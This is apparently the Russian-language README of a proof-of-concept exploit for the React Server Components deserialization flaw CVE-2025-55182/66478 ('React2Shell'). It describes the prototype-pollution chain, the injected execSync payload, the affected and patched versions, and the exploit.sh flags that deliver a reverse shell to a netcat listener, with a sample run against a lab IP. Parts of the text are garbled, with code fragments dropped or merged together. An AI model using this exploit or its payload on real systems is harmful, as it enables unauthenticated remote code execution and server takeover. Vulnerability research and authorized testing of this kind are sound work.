
Эксплойт класса proof-of-concept для CVE-2025-55182/66478 — десериализация React Server Components с удалённым выполнением кода (RCE), доставляющая reverse shell через специально сформированный multipart-запрос.
PoC-эксплойт для CVE-2025-55182 — публично известной как
«React2Shell» — серверной уязвимости prototype pollution в
десериализации Server Actions в React Server Components
(react-server-dom-webpack / -parcel / -turbopack), которую Next.js
отслеживал под идентификатором CVE-2025-66478 (отклонён NVD как дубликат,
но именно этот идентификатор обычно используется при обсуждении влияния
уязвимости на Next.js).
Один специально сформированный multipart HTTP-запрос загрязняет Object.prototype и
проходит по цепочке прототипов, чтобы добраться до конструктора Function, позволяя
неаутентифицированному атакующему выполнить произвольный Node.js-код в
серверном процессе — CVSS 10/10.
Корневая причина. Десериализатор ответов действий RSC (requireModule)
разрешает пути к объектам, отправленные клиентом (например, ),
без проверки того, что целевой ключ не является зарезервированным/опасным,
например . Установка на обычном объекте загрязняет
сам , поэтому каждый созданный впоследствии объект
наследует контролируемое атакующим свойство.
"$1:__proto__:then"__proto____proto__Object.prototypeЦепочка эксплуатации.
then → "$1:__proto__:then" — проникновение в цепочку прототипов._response._formData.get → "$1:constructor:constructor" — переход
от загрязнённого прототипа к конструктору Function._response._prefix — контролируемая атакующим строка, вставляемая в код,
который выполняется, когда сервер пытается разрешить сфабрикованный
«thenable» (поддельный объект, подобный Promise). Этот PoC устанавливает её в
process.mainModule.require('child_process').execSync('<cmd>').0, 1) в
POST на корень приложения с заголовком Next-Action, который направляет
запрос прямо в уязвимый обработчик Server Actions.Затронутые версии (согласно отчёту Datadog):
| Библиотека | Уязвимые | Исправленные |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js затронут в версиях 15.x, 16.x и 14.3.0-canary.77+ при использовании App Router. Исправлено в 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 и 16.0.7.
Только для авторизованного тестирования безопасности и образовательных целей (например, лаборатории CTF/HTB, собственная инфраструктура или работы с письменным разрешением). Не запускайте это против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
curlbashnc -lvnp <port>), если вы
не укажете собственную команду через -cbusybox nc (или измените -c на любую
доступную на цели shell-утилиту), чтобы работала стандартная команда
reverse shellchmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
| Флаг | Обязательный | Описание |
|---|---|---|
-t, --target | да | Хост/IP цели, на котором запущено уязвимое приложение Next.js |
-L, --lport | да* | Локальный порт, на котором слушает ваш слушатель |
-p, --port | нет | Порт цели (по умолчанию: 3000) |
-l, --lhost | нет | Ваш IP для обратного вызова (по умолчанию: определяется автоматически) |
-i, --iface | нет | Интерфейс для автоматического определения --lhost |
-c, --command | нет | Пользовательская команда для выполнения на цели (переопределяет стандартный reverse shell) |
--timeout | нет | Таймаут запроса curl в секундах (по умолчанию: 3) |
-v, --verbose | нет | Вывод деталей запроса/ответа |
-h, --help | нет | Показать справку |
* не требуется, если вместо этого указан -c/--command.
# 1) запустите слушатель
rlwrap nc -lvnp 9090
# 2) запустите эксплойт
./exploit.sh -t 10.129.245.214 -L 9090